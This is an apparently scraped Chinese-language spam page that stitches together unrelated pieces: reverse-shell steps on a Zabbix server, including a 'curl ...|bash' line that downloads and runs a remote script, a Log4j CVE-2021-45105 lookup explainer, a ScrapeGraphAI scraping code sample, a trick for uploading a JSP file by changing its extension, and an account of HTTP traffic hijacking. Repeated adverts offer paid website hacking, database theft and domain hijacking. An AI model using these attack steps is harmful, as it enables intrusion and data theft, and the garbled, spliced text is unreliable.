这样上面的命令就会被执行。但是，由于选择的这台服务器没有安装nc，导致命令执行不成功。既然没有安装nc，那就给这台服务器安装nc呗！

Linux服务器get shell的方法。既然能够命令执行，那我们是不是可以在一台服务器上开放一个特定的端口，构造好反弹shell的代码，只要有客户端连接此端口，那么客户端的shell就会反弹到我们那台服务器上。
渗透 在线接单中：
渗透各类网站app软件，可做/数据库/权限/破解/更改数据
指定网站app渗透数据可按条 包库 劫持域名 实力靠谱✅唯一🆔 @YaMaa8

在Zabbix服务器上创建一个脚本，用于反弹shell的建立。
在命令里输入“curl 52..*.78|bash”。

执行上面的脚本
渗透 在线接单中：
渗透各类网站app软件，可做/数据库/权限/破解/更改数据
指定网站app渗透数据可按条 包库 劫持域名 实力靠谱✅唯一🆔 @YaMaa8

Log4j 漏洞 CVE-2021-45105：您需要了解的内容

了解 CVE-2021-45105 漏洞
Lookup 模式接受以下格式：

${lookupName:key:-defaultValue}

lookupName 是要执行的查找的名称或类型（例如 ctx, env等）。
keyctx 是在相应地图对象（如果是 地图） 中查找的变量的名称 ThreadContext 。
defaultValuekey 是一个可选值，它告诉替换器如果在映射中不存在 该查找实例，应该用什么来代替它 。
也许有读者已经知道了这一点：

如果映射中的变量 ThreadContext 受到攻击者控制，则可以使用默认值来保存与查找相同的字符串Context。

ScrapeGraphAI是一个网络爬虫 Python 库，使用大型语言模型和直接图逻辑为网站和本地文档（XML，HTML，JSON 等）创建爬取管道。

在Python中调用本地ollama服务，需要先启动本地ollama服务， 打开电脑命令行cmd(mac是terminal), 执行

rom scrapegraphai.graphs import SmartScraperGraph


graph_config = {
"llm": {
"model": "ollama/llama3",
"temperature": 0,
"format": "json", # Ollama 需要显式指定格式
"base_url": "http://localhost:11434", # 设置 Ollama URL
},
"embeddings": {
"model": "ollama/nomic-embed-text",
"base_url": "http://localhost:11434", # 设置 Ollama URL
},
"verbose": True,
}

smart_scraper_graph = SmartScraperGraph(
prompt="返回该网站所有文章的标题、日期、文章链接",
# 也接受已下载的 HTML 代码的字符串
#source=requests.get("https://textdata.cn/blog/").text,
source="https://textdata.cn/blog/",
config=graph_config
)

result = smart_scraper_graph.run()
print(result)

我得逐一验证哪个是影响服务端写入文件时用到的扩展名。尝试将第一处 fileName 域的 info.png 改为 info.jsp，确认写入文件名：
渗透 在线接单中：
渗透各类网站app软件，可做/数据库/权限/破解/更改数据
指定网站app渗透数据可按条 包库 劫持域名 实力靠谱✅唯一🆔 @YaMaa8

看一下整个过程，首先是客户端与源站建链发送http请求，与此同时流量分析设备分析到了这个请求，并读取了请求头，第2步在读取http请求并判断符合劫持规则后，伪装客户端向源站发送了reset标记，断开了客户端与源站的交互，第3步伪装原站向客户端发送重定向302，将请求成功引导到指定设备，第4步是客户端访问劫持代理服务器。